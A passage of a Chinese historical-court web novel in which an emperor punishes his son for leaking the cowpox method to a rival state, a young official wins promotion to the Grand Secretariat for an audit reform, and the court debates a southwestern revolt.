卯时三刻,皇帝阖目坐在镜前,吴祥理顺他的花发,孙鹤林念今日送到的密折。 “今日送到的,有古临总督岳承的请安折,辽河巡抚张旭的谢恩折……西北将军陈冲的奏事折,还有……” “停,西北陈冲的折子拿来给朕。” 崇德帝手一张,孙鹤林赶紧递上,皇帝将薄薄的密折展开,才读了几行,血色冲上两腮,腾地站起,刚盘一半的头发纷纷散落。 皇帝捂着胸口撑着桌面大喘气,一副气急攻心的模样,宫女吓得尖叫,吴祥惊慌失措,“快!快!快叫太医!” 皇帝沉声怒道:“不用!去叫刘玳廷来!叫他立刻来!” 吴祥苦着脸出门,先叫门口侍立的小太监去太医院叫华杏林,又传刘玳廷来乾清宫,刘玳廷正和同僚商议今日的题本、奏本,一头雾水进了乾清宫,当面飞来一本奏折,摔在他的脸上。 可怜一片老臣心,刘玳廷涨红着脸捡起奏折,跪地请罪:“臣万死,臣……”还不等他说完,上边的皇帝边咳边咆哮:“你自己看,你在西北办的什么差?你怎么管的使团?!” 刘玳廷将手上的折子展开,陈冲上报,管领西北草场的官员发现了赤砂境内也会使用牛痘法躲避天花,现在已经大规模的种痘了。现在查到的是,他们的三王子额尔格发现了这种方法。 “辛苦了一顿,叫肃王来回奔波了那么长时间,全做了无用功!他们的三王子额尔格是怎么知道的?是谁走漏了风声,还是你们办差不仔细,叫人家看出来了?” 牛痘在赤砂境内推广开是容易的,但是雍朝大国,上下一万万人口,全都种痘谈何容易?现在赤砂抢在雍朝之先,不得不防。这也是皇帝如此气愤的原因。 刘玳廷跪在地上战战兢兢,看到额尔格的时候却卸了一口气,说句大不敬的,皇帝该问他的好儿子才对,因而嗫嚅起来:“臣不知当讲不当讲……” 华杏林在一旁诊脉,心里也是七上八下,无他,牛痘是他领着大夫们在赤砂弄的,若刘玳廷把过错往他身上推,牵扯起来怕是要没完没了了。 华杏林将脉枕一收,跟吴祥说道:“陛下一时气急,血气上涌罢了,不妨事。” 说完只开了写平心静气的药物,正好又听刘玳廷道:“臣以为,肃王府的长史昌裕或许知道。” 其言下之意,无非此事和肃王有关。 皇帝惊疑不定,但已经听出了他的言外之意,刘玳廷又不是信口雌黄之人,只是派人去找昌裕和肃王前来。 肃王请安后,做父亲的一句话不说,把折子递给纪祁看。结果这个蠢人不打自招,吓得涕泗横流,哭道:“儿臣有罪,儿臣喝醉了酒。况且儿臣也不是全然无所获,额尔格答应若他做了汗王,就对朝廷称臣,儿臣……” “蠢货!”皇帝怒发冲冠,“朕怎么生下来你这样的蠢货?!”刚才平复住的血气一股脑冲上来,皇帝气昏了头,四处一看,一柄御剑挂在墙上,他三两步上前拔出,利剑闪着寒光,还伴着皇帝的暴怒之声,“朕干脆一剑劈了你,省得叫你败了祖宗社稷!” 宫女和小太监四散奔逃,哭叫之声不断,昌裕挡在肃王身前,刘玳廷和吴祥、孙鹤林抱住皇帝的胳膊。 “陛下,陛下,又不是把西海的布防图送出去了,牛痘而已,就当是造福赤砂穷苦牧民了,何尝不是陛下的功德?”刘玳廷连连规劝,皇帝终于卸了力,瘫倒在御座上,手一松,剑咣当一声掉在地上,吓得纪祁一哆嗦。 皇帝冷着脸:“你还有什么隐瞒的,现在就说出来,不要等到日后陈冲上了密折,到那个时候,你自己找根绳子吊死,省得脏了朕的剑。” 纪祁磕头如捣蒜,砰砰地撞在金砖上,额上浮出来一层血迹,“儿臣万死,儿臣真没有什么隐瞒的了。” 皇帝白他一眼,又看向昌裕,冷声道:“临行之前你跟朕保证的是什么?朕跟你嘱咐的是什么?你为什么没看管好他?” 再一看这蠢得吓人的儿子,只觉得可笑。怎么就觉得他可当大任?这多的谋划,全白费了。 “传旨,昌裕身膺王府长史,本宜导王以正,匡其失德。乃漠视职守,纵容亲王悖礼,实属辜恩溺职。着即革去顶戴,交吏部严加议处!” “肃亲王骄纵妄为,屡违祖训,深负朕望。今削去一切差事,罚俸三年,即日归府闭门思过。宗人府遣员监管。” 皇帝说完,也不想看这两个人,叫侍卫领他们出去,肃王还在磕头请罪,不肯离开,刘玳廷知道自己没事了,再一看哭哭啼啼的肃王,表面功夫还是要做全,带着他和昌裕退下,虽巴不得这个蠢货出事,但摸摸自己被锋利的纸张划破了的眼角,你要说笑,其实也笑不出来。 处理完了儿子,皇帝只觉得头晕目眩,吴祥和孙鹤林二人将皇帝扶上榻,小心脱去了靴子,又在身后高高地垫起来靠背,默不作声地按揉皇帝的太阳穴,另一人就去将苦药汁子呈上。 皇帝嫌弃地瞥一眼,“拿去,给朕拿既济丹来。” 孙鹤林看一眼吴祥,吴祥朝他一点头,这才呈上丹药,服用后不过一刻,四肢躯干都有了力气。 此时刘玳廷又进了内室,问道:“陛下,此时最要紧的不是肃王,而是西北。” “是,你说的是……吴祥,叫毓秀来。”吩咐完吴祥,他又看向刘玳廷,“肃王在西北的一举一动,你都给朕说清楚。” 刘玳廷忍着尴尬,把肃王和额尔格的事情,和那赤砂女孩儿的事情都说了,也为昌裕说了几句好话。 不是昌裕不管,而是以臣管君,如何能管得了啊! 皇帝瞪着他:“你刚才拦朕做什么?叫他死了倒清净!” 刘玳廷不敢出声了,直到毓秀进入乾清宫,不等行礼,皇帝便赐座,把折子递给毓秀看,毓中堂沉思片刻,“陛下,现在最要紧的就是赤砂人,朝廷要防范他们天花来残害边民。” “你说的是,等会拟旨,先将牛痘仅供着西海等省份使用,西北军半年之内分批种完,两国交界一线,一年之内全部种痘……”处理起来政事,皇帝的思路也就清晰了,没一会儿便安排妥当,又问刘玳廷:“你觉得,赤砂人会不会在半年人撕毁盟约?” “陛下,他们国内为继承汗位之事争斗不休,两三年内不会有结果,定不会在内忧之时再添外患。” 皇帝颔首:“朕知道了,你退下吧。”要给陈冲传密旨更换布防,难保纪祁不会叫额尔格套取了什么东西,他自己却不知道。 刘玳廷退下,室内就剩下了毓秀和皇帝二人,皇帝拽着老臣的手,不禁老泪纵横。 “朕……唉,一片苦心,全都付诸东流了……” 毓秀瞧皇帝一副一蹶不振的模样,便知是出了大事,“陛下何故如此颓丧,没有什么过不去的。” “纪祁这个畜生……”皇帝把肃王在西北干的事情一说,自己又气得头昏脑涨,毓秀不动如山,只安慰皇帝。 “老师……”皇帝唤道,毓秀在任大学士之时,还兼任尚书房的师傅,虽然一年半载也讲不了一次课,但师生的名分还在。 皇帝真情流露,握住毓秀的手,两眼充泪,“你是三朝老臣了,皇祖之时在六部当差,先皇时入阁,现在内阁之内你为第一,你活到这把岁数,有见过这样的皇子吗?” 毓秀道:“肃王这样,也是陛下的过失。” 这一句话叫皇帝冷静下来,毓秀接着道:“其他的王爷都是先入朝学习,再开始管部。譬如端王,十六岁入朝,六部转了四年,才开始管领礼部,管礼部的时候,也是以礼部尚书为主,二十二岁的时候才正式管部。” 剩下的话不用他说,皇帝也知道,肃王十八岁入朝,一上来就管礼部,他手忙脚乱弄作一团,偏偏有人给他收拾局面,他也就不知自己的斤两了。 皇帝唉声叹气,毓秀道:“事已至此,陛下对后继之人,可有什么打算?” “你说纪祁,他怎么就不成器?”皇帝仍是耿耿于怀。 毓秀只说:“陛下,个人有个人的命数,做一个富贵闲人,未尝不是肃王之幸,百姓之幸,关键是后继之人。” 皇帝却在犹豫,问道:“你觉得朕的儿子中,谁能够担当大任?” “端王。” 这也是意料之内的回答,皇帝却不甚满意,“他的脾气不好,虽说现在改了些,但朕觉得他和老二……他俩还有的闹。” “端王现在亲善兄弟,对誉王也是一视同仁,可见已经悔改了。” 但做父亲的就是能察觉到不对,只是摇摇头。 他自己安安稳稳当上了皇帝,享受了兄友弟恭,便不想在自己的儿子中出现骨肉相残的景象,孰不知从古到今,弑兄杀弟者众。 皇帝想一出是一出,又想起了先太子的儿子,问道:“若是立太孙?” 毓秀以为他想立肃王的儿子,只觉得皇上疯了,急道:“陛下诸子均在,没有立太孙的道理,何况皇孙之父仍在,怎么能绕过其父册封其子呢?” “不不,朕是说老大的儿子,他的长子今年也二十多了。”皇帝口中的老大,就是自戕的先太子,毓秀看着异想天开的皇帝,也不知道再说些什么。 皇孙自十来岁圈禁宫中后,虽锦衣玉食,但从未参与过政务,都比不上肃王,如何能和端王相提并论,不能为了保全自己的儿子,就拿天下人开玩笑啊。 皇帝也觉得自己异想天开,不再提此事,可是叫毓秀走了,又命吴祥去传皇孙来。 毓秀回到内阁,办了一天的差事,临了回了家,在书房里却不是个滋味,写了一封信交给管家,“叫个妥帖的人去做,把信送给端王去。” 等着端王拿道毓秀的信,十分诧异,纪祎替他展开,替兄读信,念得端王又气又笑。 笑肃王把自己的大好前程毁了。 气肃王干了这么大的事情,就只是回家读书。更气父皇宁愿去想劳什子皇孙,也不愿意对自己下定决心。但纪禅也明白了,所谓求人不如求己,而有了巡捕、步军两营,只有人来求,没有去求人的道理。 纪祎给他揉脑袋,嘴里阴阳怪气:“人都有甚爱之子,不甚爱之子,若这是我们做的,皮都要掉一层了。” “你啊你,以前多乖巧,现在是跟谁学的嘴上不饶人?”纪禅拽着他安慰,这个是母妃养大的儿子,自己不能再母妃跟前尽孝,就靠着他哄母妃开心,说是一母同胞也不为过。现如今他郁郁不得志,自己心里也不好受,又道:“等着日后,要什么有什么,但你得给我好好学,刻苦地学,若是跟纪祁一样,我想抬举你也抬举不了。” “再说了,你发什么火?替我生气?” 纪祎不答话,说到底,心里不平衡。他是外祖在陛下登基后成了罪臣,母妃自戕,他也失了父皇的宠爱,结果纪祁惹了这么大的祸,连革爵都没有,闭门读书罢了。 端王又哄他:“别气了,他这是通敌卖国,以后有他受的。”这兄弟两个心里都不平衡,只要纪禅能够上位,绝没有轻易放了纪祁的道理。 纪祎应下,端王又拿着信思索一番,叫人去给邹文传话。 …… 现在去户部的活计,基本上都是段之缙干,距离上次商议事情,才过了十多天,邹文便愁眉苦脸地拉住他,“这可不是我的主意,这是王爷说的,叫你想办法把工部的弊病改了。” 段之缙看看四周,也没有旁的人,原来真是叫自己来弄,吃惊地指向自己,“我想办法?奚陈和他们沆瀣一气,就算是递了上去,我还受奚陈的管,日后给我穿小鞋怎么办呢?” “嗨,你要是真能想出来,还用呆在工部吗?必然还要往上升,你加把劲儿,殿下给你弄一个知府放出去,还升一级呢。” “你 确定能离了奚陈?” 邹文信誓旦旦:“若是不能,我头给你割下来。” “那若是刘审和我一块儿提出,刘审能不能升官?” 邹文道:“自然能啊!但是升不了尚书,估计得去旁的地方了。” 段之缙这会儿又笑嘻嘻了,“你早说,等着吧。”说完他就要回部,又被邹文拉住,“你要怎么办?这事儿可不能牵上王爷。” “我找刘审去。”部里的形势,他摸得门清,刘审来工部的时间不短,早就被人家指使够了,工部又不是有前途的地方,要入阁得去吏部或礼部,若有这样的好事,刘审比谁都积极。 若要改了现在的局面,倒也简单,不叫工部的官员去审,而是叫户部的官员去审,现在管部的王爷是端王,从国库里出钱比从家里出钱还肉疼,且舍不得呢。 底下的官员也是些铁公鸡,要是叫他们知道有便宜的法子不用,一早给你捅上来。 此外,各地价目,可以随机抽中京官外派,叫他们在年初之时到地方查清,报到京城,只要修建工程时报的价目和年初的价目不同,便俱折上奏说明理由。 段之缙思索一顿写成折子和刘审商量,“大人,下官在阅以前工程存档时,发现了一点小问题。” 刘审有些懵,这个事情要说,该和奚陈说才是,怎么和自己说? 段之缙接着道:“大人请看,该府临近运河,八九月份的工程粮食价格不该如此高,想必是大人们忽略了,若我们能这样……”他将自己的方案铺陈出来,刘审拊掌称妙,又笑问道:“你是指着靠我上折子吧?” 段之缙道:“大人见笑,若大人能带下官上折子,下官感激不尽。” 这个“带”字用得好,一个人的功劳成了两个人的,刘审欣然一笑,又完善了几处,回家写折子。 隔天,折子就送到了内阁,方克城看到此折顿感不妙,可到底没有捅破,他也只能静观其变。 但方克城知道,这折子定然会引起轩然大波。【你现在阅读的是 】 80-90 第81章 081内阁侍读学士 刘审的折子上的极其清楚明白,工部审查的弊病和解决的方法分条对应条理清晰,因事关重大,方克城想瞒也瞒不住,只能将折子同他人共览,四位中堂没有一人敢票拟,决定直接呈给圣上。 改制之事,也只有圣上能够做决定。 皇帝这些日子烦得很,为着后继之人成日忧愁,想要立端王,却下不了决心,现在看着年轻一辈能有所发明,才有了些高兴模样。 尤其是上次用折子砸了刘玳廷,伤了老臣的心,皇帝心中也难受,现在刘玳廷的儿子刘审立了大功便格外高兴。 再一看俱名的另一人段之缙,皇帝对他印象极为深刻。 上上次和唐馥两人喝得一身酒气来乾清宫答话,上次又发现了牛痘,只是这个功劳却没有给他相应的封赏。 现在工部审查之事非同小可,皇帝传刘审、段之缙两人来乾清宫答话,又传诸王、内阁大学士和工部的堂官前来,没一会儿乾清宫小室内就挤满了大大小小的臣子。 皇帝教他们传阅折子,吩咐道:“畅所欲言,就算说的不在理,朕也不怪。” 毓秀上前答话,“回陛下,果如题本内言,之前工部审查之法确实有问题,倘若能够按照刘审和段之缙之法改制,户部和各地的银库也能省下不少钱粮,臣以为此法甚好。” 方克城却上前说道:“此法虽好,但要增设太多官员。如户部倘若要执行此法,则要增设外派之关。而工部可以派外差的官员,此后岂不是无处可去?” 刘玳廷道:“这倒无妨,可以叫他们转去户部。此法的关键,就是要让户部去查工部,而非是工部自己审自己。只要他们脱离了原来的衙门就行。” 方克城顶着刘玳廷说:“便是此法可行,那邻府互报明细呢?官员出行势必要大摆仪仗。岂非劳民伤财,又惊扰百姓?再者,倘若邻府之间沟通串联,此法也是无用。臣以为还是维持现状为妙。再者,小刘大人所查之弊端,就算是浪费钱粮也是无心之过。改制事大,还请陛下三思。” 这的确是个问题,□□总比变革好。 众人不再说话,皇帝看向段之缙,“刘审在折子里说,是你发现的工部弊病并提出了改制之法,现在问题摆在这里,还是你来答。” 段之缙道:“中堂所言极是,但臣以为互报明细势在必行。浪费钱粮虽为无心之过,但一厘一毫,民之脂膏,经年累月下来,再修一座黄河大堤的钱都有了。” “可将知府的任期改为三年。各省分批改任。叫新到任的知府和未改任的知府互审互报,大家互补熟悉,则无串联沟通之弊。而大摆仪仗之事,可以叫他们赴日之前先到临府去查明明细,再去本府赴任,则无仪仗之累,惊扰百姓之忧。” 他侃侃而谈,又按照方克城的思路指出了几点不足,当即想法子弥补,皇帝连连点头。端王王也说了几处,改制之法愈发完善,皇帝已经倾向于改制了。 端王又提到:“父皇,儿臣以为应该清查之前的明细。算出每次工程大概浪费了多少银两。”话说到此处,工部尚书杜谦和侍郎奚陈的心脏一下提到了嗓子眼,又听端王道:“并不是追究前过,而是为了给大家伙提个醒,朝廷的钱粮要省着用。” 说着,他看了一眼方克城,把他往火堆里推,“不如命方中堂来做这件差事。他之前便管领过工部,办起差来一定得心应手。” 方克城和方克池如何察觉不到端王的意思?大家共事这么多年,谁还能不知道端王睚眦必报的性格,今天他话里话外地点人,一定是有把柄叫端王拿住了。 这两人还在想着如何回话。段之缙顿觉不妥。现在把方家架在柴火上烤,那你还要什么巡捕营?也顾不得什么规矩,上前道:“陛下,臣以为此举不妥。殿下的意思虽不是追究前过。但是一旦查起来必定声势浩大,京官和地方官人心惶惶,那朝廷的政事就要耽搁了。且这么多工程,要从哪一年的查起,从何地查起,又是一个说法。怎么查都是不公允的,还是不查为好。” 方克城立即道:“臣也是此想法。多一事不如少一事,且西北局势未定,不宜再弄得朝内人心惶惶。” 众人也都上前称是,尤其是工部诸臣,最为卖力。 端王也反应了过来,上前请罪,“是儿臣思虑不周。” 皇帝看事情差不多商量好了,方要敲定,刚才一言未发的方克池突然想到了什么,上前说道:“陛下,臣以为段之缙更换知府之言有些不妥。按照一府审一府的方法,一省至少有一半的知府应当更换。但是全国上下多少省份,倘若一起更换,势必要酿成大乱。” 段之缙道:“大人,不必一下子在全国铺陈开,在个别省份先行试验,然后慢慢推行亦可。山东为黄河入海省份。而淮宁又连绵多雨,涝灾频发。此两省工程甚多,何不在此两省实行?且也不一定更换一半,可以可一府查二府甚至一查三。” “倘若此两省实行得好,那么再一步一步地推广。倘若此两省实行得不好,那便即刻终止。朝廷的损失也不大,消耗的人力也不多。” 毓秀颔首,“选淮宁不如选山东。淮宁是赋税重地,一旦出乱,朝廷的成本也大,山东则不然。” 众臣该说的也都说完了,连刚才默不作声的王爷也说了几句话,皇帝也听的差不多,一槌定音道:“那就先在山东实行。你们内阁拟出三分之一的知府,叫他们省内互换。接旨之日,立即启程,不得拖延。” 说完叫大家都下去,只留下了内阁四位大学士和端王。 皇帝笑着看刘代廷,赞许道:“你的儿子是正人君子。朕千想万想,想不到查 工部的折子会从工部上。你儿子敢带着段之缙上这个折子,说明他问心无愧,你为朝廷养育了一个好臣子啊!” 又看看端王,“你说要查工部明细,有道理,也的确是个警醒。但到底水至清则无鱼,还是不查为好。有些事情还是要和四位中堂学习。” “儿臣谨记父皇教诲。” 皇帝吐出来一口气,“你们大家都议一议,看看应当如何奖赏刘审。” 这样正大光明,倒弄得刘玳廷不自在,踌躇道:“那臣应当回避才是。” “哎,这不要紧。这么多人在,你就算有私心也不敢说呀。何况你的为人,朕清楚,一颗公正之心,绝没有偏私之意……” 老皇帝和刘玳廷推心置腹,把刘玳廷那日的委屈都说了出来,哽咽着抹眼泪。 毓秀是内阁第一人,“按理说小刘大人的资质,叫他入阁做一个协理大学士也无不妥。只是父子同在内阁,到底不像个样子。” 皇帝刚赞刘玳廷的的为人,刘玳廷又岂会为了叫儿子入阁,污了自己的名声?也说不妥,“叫犬子呆在工部就已经是他的福分,能为陛下出力,也是他的分内之事,本不必封赏。” 毓秀又道:“那只能外放了。最可敬就是小刘大人铁面无私,叫他去做个地方总督,也不算屈才。” 这可是封疆大吏。 皇帝也觉得不错,要是再往上升,叫他去做些虚职,可怜这样的人才。而内大臣、领侍卫内大臣这些官职又都是自己的亲信,不能叫他去做。干脆外放去做个总督,给他挑个富庶的地方。 事情就这样定下来,皇帝又问:“那段之缙呢?这个小子又该得什么奖赏?” 方克池还记得这些乱事都是谁惹出来的,上前回话:“陛下爱重人才,臣等自然知晓,只是段之缙是二十三年的进士,现在已经做到了正五品官,他同科的进士们还在翰林院、庶常馆熬着呢。是不是升得太快?太过引人注目是祸非福。且一帆风顺,磨不了他的性子。不如先口头表彰一番,等着过两年再行封赏。” 皇帝也觉得有道理。 毓秀瞟他一眼,“何苦叫这些年轻人磨性子?把灵气都磨没有了。臣还记得当年的策论题,他是公认的状元,但是因着西北之事,叫他错失了,现在又因为西北之事……”他后半句没说,但是皇帝心里清楚,于秀是在说牛痘。 端王提议:“儿臣以为可以将段之缙外放,从四品的知府也算升了一级。” 刘玳廷却说:“段之缙的脑筋很活。在西北,能够事事留心,在工部也能提出改革之法,不如叫他进阁吧,做个侍读学士。” “是不是太快了些?二十七八岁的年纪就入阁?”方克城犹疑不定,“且他也不是翰林院出身。” 端王道:“他本该是翰林院出身,只是父皇特恩,叫他去了理藩院。不过说是翰林院,本质上就是进士出身,他探花郎的名头也够了。” “再者,”端王笑道:“二十七八岁的好处大着呢,年轻身体好,中堂们就安排他值班便是。” 皇帝觉得有几分道理,叫段之缙先入阁学习,等着端午节后,内阁的侍读学士卞原外放,他正好顶上。 “好了,朕也累了,你们该干什么干什么去。亚椿再和朕说一说话。” 纪禅的步伐停住。 皇帝看着他叹气,室内缠缠绵绵,丝丝绕绕的龙涎香挂在皇帝的身上,他吃药撑起来的硬朗劲儿下铺展开的疲倦,在端王面前无所遁形。 皇帝叫他上前,看着他的头发,惊奇道:“你竟然也有白发了?”又叹息一声:“也是,你也要不惑之年了……但总归还是比朕强一些。若不是你的药,朕的身子早就垮下去了。” 皇帝是知道这药有些危害的,他的脾气更易怒,而且药效一过,疲惫更胜从前。但是他不得不吃,他也不能不吃,整个国家的政事,都要靠着他来处理。 “纪祁是一个不争气的东西,朕能指靠的,就剩下你。为了你,朕想你二哥,也该回去闭门读书。” 闭门读书,形同圈禁。 若不是之前毓秀来过信,告诉纪禅,皇上曾想过为了誉王立太孙,端王此时定然会应下,但他现在知道了,皇帝此言大抵是试探。 端王跪在地上,“骨肉亲情,血浓于水。倘若父皇要为了儿臣叫二哥圈禁读书,儿臣宁愿只做一个贤王,辅佐二哥。还有六弟……” 说到这儿,他啜泣起来,“六弟年少得志,现在叫他在家闭门读书,形同圈禁,他如何受得了啊!父皇开恩,解了他的差事,但叫他自由行动吧!” 皇帝也红了眼眶,“朕记得以前,你脾气极为骄悍,只对你大哥驯服些,对着其他兄弟不假辞色,现在倒是会学会了友爱兄弟。” 端王孺慕地伏在皇帝膝头,哽咽道:“儿臣非为兄弟,只是心疼父皇,现在为人父,更能体会到父皇教导儿臣等的不易,怎敢再使圣心忧劳?” 父子两个推心置腹,端王小心应答,说到最后自己也闹不清是真是假,只能说踏破铁鞋无觅处,得来全不费功夫。 但不到山陵崩那一刻,决不能放松警惕,巡捕营也定然要弄在手里。 端王出乾清宫后,出了天安门往刑部走,吩咐吕太清,“差不多散班的时候,去找找方叙墨,叫他来王府把郡主和孩子接回去。” …… 刘审在工部呆到了端阳后,而段之缙过了三日就去了内阁学习。 内阁,这个所有文臣的圣地,它所处的位置都与旁的衙门不同,已经过午门进入了皇城,位处太和门东庑外东南,紧紧靠着南墙。 一长排房子,一切军国大事,都在此地决定。 带段之缙熟悉侍读学士事务的正是端阳节后要外放的卞原,他专对刘玳廷负责,西北、西南的事宜多是他负责。 “题本从地方或各部,先到通政使司拆封,再送到内阁题本房,中书们先分类,再交给咱们侍读学士,我们看了要先往里边塞签子写处理的意见,再呈交到票签处给中堂们票拟,最后这个折子才会呈给陛下。” “侍读学士一共有八个,指不定谁负责何事,所以平日里他们处理各省、各部的题本,你也要看要学。” 段之缙牢记于心,卞原又道:“除此之外,题本房还掌管着实录库及皇史宬之收藏,各朝实录,每日按卷进呈皇帝御览,虽是中书的活,但呈进之前要检查一番,别弄错了。” 卞原带着他熟悉了流程,临要散班了,卞原提醒他:“明日就是我上值了,你也留下来同我一起,可以带些厚实衣服垫一垫,规矩和外边衙门的一样,无事了可以休息一会儿。侍读学士中还有一位大人年纪大了,毓中堂说,以后他的班就由你来值。” 上值就是值夜班,段之缙在理藩院和工部之时也值过,八日一轮。现在内阁八位侍读学士,也是八日一轮,但卞原的意思很清楚,他八日要值两天班。 但都入阁了,这些辛苦也不算什么。 段之缙应下,出门时正好和散班的刘玳廷撞上,刘玳廷打量他一番,“还穿着青袍呢?等着端午节后,红袍穿在身上会更好看。”又叮嘱道:“西北之事,到头来弄得一地鸡毛,你也不要再想了。安心呆在这里,学习你的同僚,他们对地方和六部的事宜都极有见解。” “多谢大人指点,下官知道了。” 刘玳廷带着他一块儿出了皇城,等到端午节后,这绯色袍正式穿在了段之缙身上。 第82章 082内阁值班 段之缙头一天穿红袍,锁儿也不知道怎么了,竟也早早醒来。醒来之后哭唧唧的,奶娘抱他也不许,可能是想他的爹娘。 于是就在段之缙穿官服的时候,奶娘把儿子抱了过来,那孩子一见段之缙,先是皱起来肉疙瘩一样的眉头,似乎在思考这是怎么回事,一会儿又张手要抱。 段之缙的官服刚系上扣子,只能先将孩子搂到怀里。孩子抿着小嘴笑,爹爹叫得甜蜜蜜的,高高兴兴亲在段之缙的脸上,然后朝着他的补子狠踹了一脚,把自己的爹踹得咳嗽。 “我的祖宗……”孩子的力气不小,这一脚直接踹到了肋叉骨上。 沈白蘋在旁边笑,一巴掌拍在儿子肉屁股上,嗔道:“反了你?现在就敢对着你爹动手,以后还想做什么?” 然后伸手将儿子抱过来。 在段之缙怀里调皮捣蛋的锁儿一进他母亲的手就乖顺起来,也不闹腾了,撅着嘴“啵啵”地亲在母亲的脸上,口里含糊糊叫着娘,又心虚又讨好。 搂着这个孩子,沈白蘋看着段之缙穿戴整齐,说起了前几日的事情。 “几天前妹妹来,说宋征舆明年就要殿试了。想要请教你如何对策,能不能叫他在你得空的时候来家,指点指点。” “我?他们王府那么多人,难道不能指点他吗?”倒不是段之缙不愿意,只是奇怪,他们王府多少进士,还有久在官场之人,何苦来找自己。 “你傻啊,他们王府总共才几个在部院里的?且你有内阁的便利,有什么大事儿也能和他说说。再者,妹妹说,端王赞你的脑筋活,叫他找你来呢!我觉得也好,有一个妹夫求教,何尝不是敦促着你抓紧时间学习?” 段之缙松口:“好吧好吧,你说的都对。等着霓丫头来了告诉她,我空闲的时候叫载之过来即可,就是住在咱们家备考也行。” 说好了事情,段之缙就去了内阁当差。 为了自己这个妹夫,段之缙每天蹭在同僚身边看六部的题本,大家也愿意分活给他,自己轻快轻快。 毓秀大人为内阁第一人,但不能什么事儿都指望着他老人家做,大人票拟最多的是刑部、吏部的题本。这些日子,段之缙在看刑部的题本,同僚便让他去送。 今日事少,段之缙到时,四位中堂大人正在闲聊,说起了会昌灭佛的事情。 毓秀很是不屑,唐代对于僧人反复无常,时常灭佛,又时常扶持,朝令夕改变乱丛生。 刘玳廷却道:“他们做和尚的占了那么些土地却不纳税,吸收了那么多男女,谁去耕种?灭佛也是应该的。” “那枉杀的人命呢?杀沙门令一下达,长安被打杀而死的裹头僧就有三百余人。” 两个方中堂唯恐天下不乱,帮帮这个,帮帮那个。 四个闲的没事的人争论不休,段之缙恰在此时进来,刘玳廷就让他说话,谈谈自己的看法。 段之缙两方都不想得罪,回道:“下官觉得四位中堂说的都有道理。灭佛毁佛,随着皇帝的性子来,所犯杀孽太重。但是佛寺也的确侵占了大量的财产,导致国库空虚,国家的赋税收不上来。” 方克城老谋深算,不喜欢段之缙也不说话,方克池到底没有其兄长那般沉稳,冷嗤一声:“两边各打五十大板?你得说出来个对错才是!” 段之缙道:“下官倒以为此事并无对错。朝廷灭佛有朝廷充实国库的打算,百姓们信佛也有百姓们的需求,这两者并无冲突啊。下官以为唐代宗时彭偃说得极对,叫僧尼道姑一体纳税,此外百姓们愿意信就信,不愿意信就不信,朝廷不必去管。” 毓秀笑他油嘴滑舌的,但是也赞同他的意思,毓中堂本来就喜欢提携年轻人,这内阁中一半的协理大学士都是他跟皇帝提议提拔的,段之缙能入内阁也是毓秀说了话,此后经常指点他,也愿意在皇帝跟前提起他。 …… 日子有条不紊地过起来,霓丫头带着宋征舆住到了段家,段之缙白日当完了差,晚上还要跟宋征舆看看策题,两个人讨论一番,不过在段之缙看来,殿试不光钱粮水利应当全然知晓,更重要的是读史。很多时候都是那句话,日光之下并无新事。 这日,段之缙在内阁值班,现在是大夏天,晚上也不凉快,内阁的冰份例在白日就用完了,屋里又热又湿,像一个蒸笼。 段之缙在里边呆不住,拿着凳子跑到外边。 外边蚊虫乱飞,嗡嗡地绕着人转,想眯一会儿都不成,但热着更没法休息。 段之缙干脆把身上的帕子撕成两个小布条,攒成一小团,塞到耳朵里。一点点的夜风吹在他的身上,多了点朦胧的睡意。 可忽然,外边一阵嘈杂声。夜里本应该紧闭的宫门被叩响。原来是西南来的六百里加急,段之缙不敢耽搁,当天晚上便奏了上去。 而当天晚上,皇帝又下令翌日御门听政。 御门听政? 皇帝身子不是很好,除了常朝、大朝之外。基本上不会召集百官,上一次御门听政还是在西北战事兴起的时候,赤砂人都打进了止步关这才召集百官听政。 段志进惊疑,西南不过是些零散的土司,得闹出多大的乱子才需要御门听政?且去岁才在诸夷面前检阅三军,怎么反叛得如此之快? 西南就是再难打,他们的实力和朝廷相比,也是蜉蝣撼大象。 但是现在却来不及想这么多了,夏日时分,部院的大小官员都要在卯正一刻之前于午门齐聚,到中左门等候。 今日听政的事宜只有一项——西南土司作乱。 皇帝的御座摆在乾清宫御门前正中间,六部的堂官和内阁大学士居右,起居注官在左,东阶下就是侍卫和部院百官。 段之缙不知道前方的皇帝和上官们在说些什么,只听到皇帝雷霆震怒的声音。 按理说这样的大事是轮不到从四品小官上去说话的,但不知为何皇帝还是想到了他。侍卫传召段之缙上去回话。 一步步走上台阶,段之缙叩头请安,上官们剑拔弩张,一股火药味儿,看来是没有达成一致意见。 兵部尚书孙宗夏仍在说话,总之就是一个字——打! 转眼一看段之缙,像是来了帮手一样,急道:“陛下,段之缙殿试之时,曾在策中说过改土归流之法,现在正是极好的时机。西南土司屡叛屡降,已经不可信了,现在朝廷也算是师出有名,干脆把他们全都剿灭,设置府县,任命流官。” 皇帝任他说,吴祥将昨日的军报给段之缙看,段之缙一目十行,终于弄明白了发生了何事。 水西土司安坤联合乌撒、乌蒙举兵反叛,这回儿比上次更严重,一个县衙,从知县到小吏都杀空了,皇帝这才雷霆震怒。 孙宗夏喋喋不休,其他人默不做声,皇帝能任他大发议论说明已经倾向于孙宗夏的看法,想要趁此时机,直接改土归流。 皇帝看着段之缙,问道:“当初是你提出来的改土归流,现在的形式就是如此,朕想听听你的意见。” 段之缙道:“陛下,臣以为事情还未明了,平叛还是直接攻灭难有定论。去岁才在土司面前检阅三军,我朝国力之强,他们都是目睹的。而且这奏报中并没有说明他们反叛的原因,臣想总是需要些时日才能送到。西南军已经在镇压了,在此期间也能查到原因,到时候再做决定不迟。” “若要直接大军压境,朝廷的军队骁勇善战是无可置疑的,但西南地势复杂,多雨林、瘴气,诸夷混杂,想从本地征兵,恐怕困难。只能将周围的军队往南诏派遣。但他们难以适应当地的环境,即便粮草源源不断,也难以在短时间内取得胜利。” “又值酷暑,若死人甚多恐怕会产生瘟疫。还请陛下三思而后行。” 这些话其他的臣子也都说了,皇帝总是咽不下去那口气,西南的土司屡叛屡降,实在是可恨!此时有些躁怒:“查原因?就是查出来,他们也是反叛了!” 段之缙道:“如果真是他们自己找死,那朝廷才是师出有名,将他们的领土分拆设置流官即可。” “可若是……”他剩下的半句话含在口中,皇帝也知道他的意思,西南当地的汉官鄙弃夷民,倘若因为处事不公导致土司作乱,那么还是安抚为上。 他接着道:“能够杀灭土司,但杀不灭那么多夷人,只会叫他们心怀怨愤,对朝廷的排斥更深,恐还有反叛的一天。陛下惠照万民,并不因为汉夷之别而有所偏爱,这才使得诸夷心悦诚服,自愿归顺我朝。” 